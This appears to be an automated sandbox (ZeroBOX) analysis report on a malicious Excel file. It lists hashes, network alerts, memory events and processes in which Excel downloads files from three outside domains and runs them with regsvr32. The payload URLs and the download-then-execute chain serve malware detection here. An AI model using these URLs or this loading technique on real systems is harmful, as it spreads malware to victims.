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Guide 2020-06-10
Version history 2020-06-10

Summary | ZeroBOX

recital-621114164.xls

MSOffice File

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Sept. 30, 2021, 12:19 p.m.	Sept. 30, 2021, 12:21 p.m.

Size	244.5KB
Type	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 18:19:34 2015, Last Saved Time/Date: Wed Sep 29 07:59:46 2021, Security: 0
MD5	`7f0d5c3db358b67db20e4d1484741c89`
SHA256	`6d714b45511d3d7ddf630b48c1cc979435f6c72e180aa16f4850df34991a1b47`
CRC32	`D7531D73`
ssdeep	`6144:iKpb8rGYrMPe3q7Q0XV5xtuEsi8/dgD9fWvcZZdtLq1JOjbwvOMPDslAvS3+Hw7Q:n9fVrLmUjbwvrDa33LvfH1WOi`
Yara	Microsoft_Office_File_Zero - Microsoft Office File

EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office15\EXCEL.EXE" C:\Users\test22\AppData\Local\Temp\recital-621114164.xls
2444
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
  2136
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
  2376
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
  2792

Name	Response	Post-Analysis Lookup
geit.in	A 162.251.80.22	162.251.80.22
mercanets.com	A 162.222.225.250	162.222.225.250
gillcart.com	A 199.79.63.251	199.79.63.251

IP Address	Status	Action
162.222.225.250	Active	Moloch
162.251.80.22	Active	Moloch
164.124.101.2	Active	Moloch
199.79.63.251	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49176 -> 162.222.225.250:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49169 -> 199.79.63.251:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49177 -> 162.222.225.250:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 199.79.63.251:443 -> 192.168.56.103:49170	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 162.222.225.250:443 -> 192.168.56.103:49179	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.103:49168 -> 199.79.63.251:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49173 -> 162.251.80.22:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49172 -> 162.251.80.22:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 162.251.80.22:443 -> 192.168.56.103:49174	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Allocates read-write-execute memory (usually to unpack itself) (5 events)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Sept. 30, 2021, 12:19 p.m.	process_identifier: 2444 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6bf98000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Sept. 30, 2021, 12:19 p.m.	process_identifier: 2444 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6b2e2000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Sept. 30, 2021, 12:19 p.m.	process_identifier: 2136 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c471000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Sept. 30, 2021, 12:19 p.m.	process_identifier: 2376 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c471000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Sept. 30, 2021, 12:19 p.m.	process_identifier: 2792 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c471000 process_handle: 0xffffffff	1	0	0

Creates a suspicious process (6 events)

cmdline	regsvr32 C:\Datop\test.test
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
cmdline	regsvr32 C:\Datop\test1.test
cmdline	regsvr32 C:\Datop\test2.test

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Sept. 30, 2021, 12:19 p.m.	process_identifier: 2444 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x7ef70000 process_handle: 0xffffffff	1	0	0

Network communications indicative of a potential document or script payload download was initiated by the process excel.exe (3 events)

Time & API	Arguments	Status	Return	Repeated
URLDownloadToFileW Sept. 30, 2021, 12:19 p.m.	url: https://gillcart.com/Cdpmoyhr/key.xml stack_pivoted: 0 filepath_r: C:\Datop\test.test filepath: C:\Datop\test.test		2148270085	0
URLDownloadToFileW Sept. 30, 2021, 12:19 p.m.	url: https://geit.in/MeOlE9Xxd/key.xml stack_pivoted: 0 filepath_r: C:\Datop\test1.test filepath: C:\Datop\test1.test		2148270085	0
URLDownloadToFileW Sept. 30, 2021, 12:19 p.m.	url: https://mercanets.com/9DPZqAfZdq5z/key.xml stack_pivoted: 0 filepath_r: C:\Datop\test2.test filepath: C:\Datop\test2.test		2148270085	0

One or more non-whitelisted processes were created (6 events)

parent_process	excel.exe				martian_process	regsvr32 C:\Datop\test.test
parent_process	excel.exe				martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
parent_process	excel.exe				martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
parent_process	excel.exe				martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
parent_process	excel.exe				martian_process	regsvr32 C:\Datop\test1.test
parent_process	excel.exe				martian_process	regsvr32 C:\Datop\test2.test

The process excel.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\Windows\System32\regsvr32.exe